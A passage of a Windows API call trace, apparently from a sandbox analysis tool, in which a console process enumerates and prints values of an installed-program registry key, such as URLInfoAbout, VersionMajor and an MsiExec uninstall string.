0xc4bb0 [0148.397] GetFileType (hFile=0x50) returned 0x1 [0148.397] lstrlenW (lpString=" ") returned 4 [0148.397] GetConsoleOutputCP () returned 0x1b5 [0148.397] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.397] GetConsoleOutputCP () returned 0x1b5 [0148.397] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.397] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.397] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.398] __iob_func () returned 0x7fefd702a80 [0148.398] _fileno (_File=0x7fefd702ab0) returned 1 [0148.398] _errno () returned 0xc4bb0 [0148.398] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.398] _errno () returned 0xc4bb0 [0148.398] GetFileType (hFile=0x50) returned 0x1 [0148.398] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0148.398] GetConsoleOutputCP () returned 0x1b5 [0148.398] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.398] GetConsoleOutputCP () returned 0x1b5 [0148.398] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0148.398] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.398] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.398] __iob_func () returned 0x7fefd702a80 [0148.398] _fileno (_File=0x7fefd702ab0) returned 1 [0148.398] _errno () returned 0xc4bb0 [0148.398] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.398] _errno () returned 0xc4bb0 [0148.398] GetFileType (hFile=0x50) returned 0x1 [0148.398] lstrlenW (lpString=" ") returned 4 [0148.398] GetConsoleOutputCP () returned 0x1b5 [0148.398] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.398] GetConsoleOutputCP () returned 0x1b5 [0148.399] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.399] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.399] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.399] __iob_func () returned 0x7fefd702a80 [0148.399] _fileno (_File=0x7fefd702ab0) returned 1 [0148.399] _errno () returned 0xc4bb0 [0148.399] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.399] _errno () returned 0xc4bb0 [0148.399] GetFileType (hFile=0x50) returned 0x1 [0148.399] lstrlenW (lpString="MsiExec.exe /X{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}") returned 52 [0148.399] GetConsoleOutputCP () returned 0x1b5 [0148.399] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0148.399] GetConsoleOutputCP () returned 0x1b5 [0148.399] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}", lpUsedDefaultChar=0x0) returned 52 [0148.399] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0148.399] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.399] __iob_func () returned 0x7fefd702a80 [0148.399] _fileno (_File=0x7fefd702ab0) returned 1 [0148.399] _errno () returned 0xc4bb0 [0148.399] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.399] _errno () returned 0xc4bb0 [0148.399] GetFileType (hFile=0x50) returned 0x1 [0148.399] lstrlenW (lpString="\n") returned 1 [0148.399] GetConsoleOutputCP () returned 0x1b5 [0148.400] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.400] GetConsoleOutputCP () returned 0x1b5 [0148.400] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.400] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.400] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.400] GetProcessHeap () returned 0x2e0000 [0148.400] GetProcessHeap () returned 0x2e0000 [0148.400] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0148.400] GetProcessHeap () returned 0x2e0000 [0148.400] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0148.400] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0148.400] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.400] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.400] GetProcessHeap () returned 0x2e0000 [0148.400] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.400] GetProcessHeap () returned 0x2e0000 [0148.400] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.400] GetProcessHeap () returned 0x2e0000 [0148.400] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.400] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.400] __iob_func () returned 0x7fefd702a80 [0148.400] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.400] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.400] _fileno (_File=0x7fefd702ab0) returned 1 [0148.400] _errno () returned 0xc4bb0 [0148.400] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.400] _errno () returned 0xc4bb0 [0148.400] GetFileType (hFile=0x50) returned 0x1 [0148.400] lstrlenW (lpString=" ") returned 4 [0148.401] GetConsoleOutputCP () returned 0x1b5 [0148.401] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.401] GetConsoleOutputCP () returned 0x1b5 [0148.401] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.401] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.401] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.401] lstrlenW (lpString="URLInfoAbout") returned 12 [0148.401] __iob_func () returned 0x7fefd702a80 [0148.401] _fileno (_File=0x7fefd702ab0) returned 1 [0148.401] _errno () returned 0xc4bb0 [0148.401] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.401] _errno () returned 0xc4bb0 [0148.401] GetFileType (hFile=0x50) returned 0x1 [0148.401] lstrlenW (lpString="URLInfoAbout") returned 12 [0148.401] GetConsoleOutputCP () returned 0x1b5 [0148.401] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.401] GetConsoleOutputCP () returned 0x1b5 [0148.401] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0148.401] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0148.401] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.402] __iob_func () returned 0x7fefd702a80 [0148.402] _fileno (_File=0x7fefd702ab0) returned 1 [0148.402] _errno () returned 0xc4bb0 [0148.402] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.402] _errno () returned 0xc4bb0 [0148.402] GetFileType (hFile=0x50) returned 0x1 [0148.402] lstrlenW (lpString=" ") returned 4 [0148.402] GetConsoleOutputCP () returned 0x1b5 [0148.402] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.402] GetConsoleOutputCP () returned 0x1b5 [0148.402] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.402] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.402] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.402] __iob_func () returned 0x7fefd702a80 [0148.402] _fileno (_File=0x7fefd702ab0) returned 1 [0148.402] _errno () returned 0xc4bb0 [0148.402] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.402] _errno () returned 0xc4bb0 [0148.402] GetFileType (hFile=0x50) returned 0x1 [0148.402] lstrlenW (lpString="REG_SZ") returned 6 [0148.402] GetConsoleOutputCP () returned 0x1b5 [0148.402] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.403] GetConsoleOutputCP () returned 0x1b5 [0148.403] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.403] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.403] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.403] __iob_func () returned 0x7fefd702a80 [0148.403] _fileno (_File=0x7fefd702ab0) returned 1 [0148.403] _errno () returned 0xc4bb0 [0148.403] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.403] _errno () returned 0xc4bb0 [0148.403] GetFileType (hFile=0x50) returned 0x1 [0148.403] lstrlenW (lpString=" ") returned 4 [0148.403] GetConsoleOutputCP () returned 0x1b5 [0148.403] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.403] GetConsoleOutputCP () returned 0x1b5 [0148.403] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.403] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.403] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.403] __iob_func () returned 0x7fefd702a80 [0148.403] _fileno (_File=0x7fefd702ab0) returned 1 [0148.403] _errno () returned 0xc4bb0 [0148.403] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.403] _errno () returned 0xc4bb0 [0148.403] GetFileType (hFile=0x50) returned 0x1 [0148.403] lstrlenW (lpString="") returned 0 [0148.403] __iob_func () returned 0x7fefd702a80 [0148.403] _fileno (_File=0x7fefd702ab0) returned 1 [0148.404] _errno () returned 0xc4bb0 [0148.404] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.404] _errno () returned 0xc4bb0 [0148.404] GetFileType (hFile=0x50) returned 0x1 [0148.404] lstrlenW (lpString="\n") returned 1 [0148.404] GetConsoleOutputCP () returned 0x1b5 [0148.404] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.404] GetConsoleOutputCP () returned 0x1b5 [0148.404] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.404] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.404] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.404] GetProcessHeap () returned 0x2e0000 [0148.404] GetProcessHeap () returned 0x2e0000 [0148.404] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.404] GetProcessHeap () returned 0x2e0000 [0148.404] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.404] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.404] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.404] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.404] GetProcessHeap () returned 0x2e0000 [0148.404] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.404] GetProcessHeap () returned 0x2e0000 [0148.404] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.404] GetProcessHeap () returned 0x2e0000 [0148.404] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.404] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.404] __iob_func () returned 0x7fefd702a80 [0148.405] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.405] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.405] _fileno (_File=0x7fefd702ab0) returned 1 [0148.405] _errno () returned 0xc4bb0 [0148.405] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.405] _errno () returned 0xc4bb0 [0148.405] GetFileType (hFile=0x50) returned 0x1 [0148.405] lstrlenW (lpString=" ") returned 4 [0148.405] GetConsoleOutputCP () returned 0x1b5 [0148.405] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.405] GetConsoleOutputCP () returned 0x1b5 [0148.405] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.405] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.405] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.405] lstrlenW (lpString="URLUpdateInfo") returned 13 [0148.405] __iob_func () returned 0x7fefd702a80 [0148.405] _fileno (_File=0x7fefd702ab0) returned 1 [0148.405] _errno () returned 0xc4bb0 [0148.405] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.405] _errno () returned 0xc4bb0 [0148.405] GetFileType (hFile=0x50) returned 0x1 [0148.405] lstrlenW (lpString="URLUpdateInfo") returned 13 [0148.405] GetConsoleOutputCP () returned 0x1b5 [0148.406] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.406] GetConsoleOutputCP () returned 0x1b5 [0148.406] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0148.406] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.406] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.406] __iob_func () returned 0x7fefd702a80 [0148.406] _fileno (_File=0x7fefd702ab0) returned 1 [0148.406] _errno () returned 0xc4bb0 [0148.406] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.406] _errno () returned 0xc4bb0 [0148.406] GetFileType (hFile=0x50) returned 0x1 [0148.406] lstrlenW (lpString=" ") returned 4 [0148.406] GetConsoleOutputCP () returned 0x1b5 [0148.406] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.406] GetConsoleOutputCP () returned 0x1b5 [0148.406] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.406] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.406] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.406] __iob_func () returned 0x7fefd702a80 [0148.406] _fileno (_File=0x7fefd702ab0) returned 1 [0148.406] _errno () returned 0xc4bb0 [0148.406] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.406] _errno () returned 0xc4bb0 [0148.407] GetFileType (hFile=0x50) returned 0x1 [0148.407] lstrlenW (lpString="REG_SZ") returned 6 [0148.407] GetConsoleOutputCP () returned 0x1b5 [0148.407] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.407] GetConsoleOutputCP () returned 0x1b5 [0148.407] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.407] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.407] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.407] __iob_func () returned 0x7fefd702a80 [0148.407] _fileno (_File=0x7fefd702ab0) returned 1 [0148.407] _errno () returned 0xc4bb0 [0148.407] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.407] _errno () returned 0xc4bb0 [0148.407] GetFileType (hFile=0x50) returned 0x1 [0148.407] lstrlenW (lpString=" ") returned 4 [0148.407] GetConsoleOutputCP () returned 0x1b5 [0148.407] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.407] GetConsoleOutputCP () returned 0x1b5 [0148.407] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.407] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.407] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.408] __iob_func () returned 0x7fefd702a80 [0148.408] _fileno (_File=0x7fefd702ab0) returned 1 [0148.408] _errno () returned 0xc4bb0 [0148.408] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.408] _errno () returned 0xc4bb0 [0148.408] GetFileType (hFile=0x50) returned 0x1 [0148.408] lstrlenW (lpString="") returned 0 [0148.408] __iob_func () returned 0x7fefd702a80 [0148.408] _fileno (_File=0x7fefd702ab0) returned 1 [0148.408] _errno () returned 0xc4bb0 [0148.408] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.408] _errno () returned 0xc4bb0 [0148.408] GetFileType (hFile=0x50) returned 0x1 [0148.408] lstrlenW (lpString="\n") returned 1 [0148.408] GetConsoleOutputCP () returned 0x1b5 [0148.408] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.408] GetConsoleOutputCP () returned 0x1b5 [0148.408] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.408] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.408] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.408] GetProcessHeap () returned 0x2e0000 [0148.408] GetProcessHeap () returned 0x2e0000 [0148.408] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.408] GetProcessHeap () returned 0x2e0000 [0148.408] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.408] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.408] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.409] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.409] GetProcessHeap () returned 0x2e0000 [0148.409] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.409] GetProcessHeap () returned 0x2e0000 [0148.409] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.409] GetProcessHeap () returned 0x2e0000 [0148.409] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.409] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x8, pcbData=0x23f670*=0x4) returned 0x0 [0148.409] __iob_func () returned 0x7fefd702a80 [0148.409] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.409] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.409] _fileno (_File=0x7fefd702ab0) returned 1 [0148.409] _errno () returned 0xc4bb0 [0148.409] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.409] _errno () returned 0xc4bb0 [0148.409] 